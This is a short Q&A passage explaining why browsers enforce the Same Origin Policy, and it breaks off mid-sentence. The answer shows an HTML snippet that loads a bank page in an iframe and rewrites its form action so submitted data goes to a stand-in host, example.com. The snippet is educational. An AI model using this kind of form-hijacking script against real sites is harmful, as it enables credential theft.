Simple example for why Same Origin Policy is needed
问题 I've read about Same Origin Policy , but for a better understanding of the matter: could anyone please write a simple code (in any language) that will demonstrate an attack that SOP stops? How was it possible to attack someone before SOP came about? 回答1: <iframe id="bank" src="https://yourbank.com"></iframe> <script> window.onload = function() { document.getElementById('bank').contentWindow.document.forms[0].action = 'http://example.com'; }; </script> The Javascript code changes the form's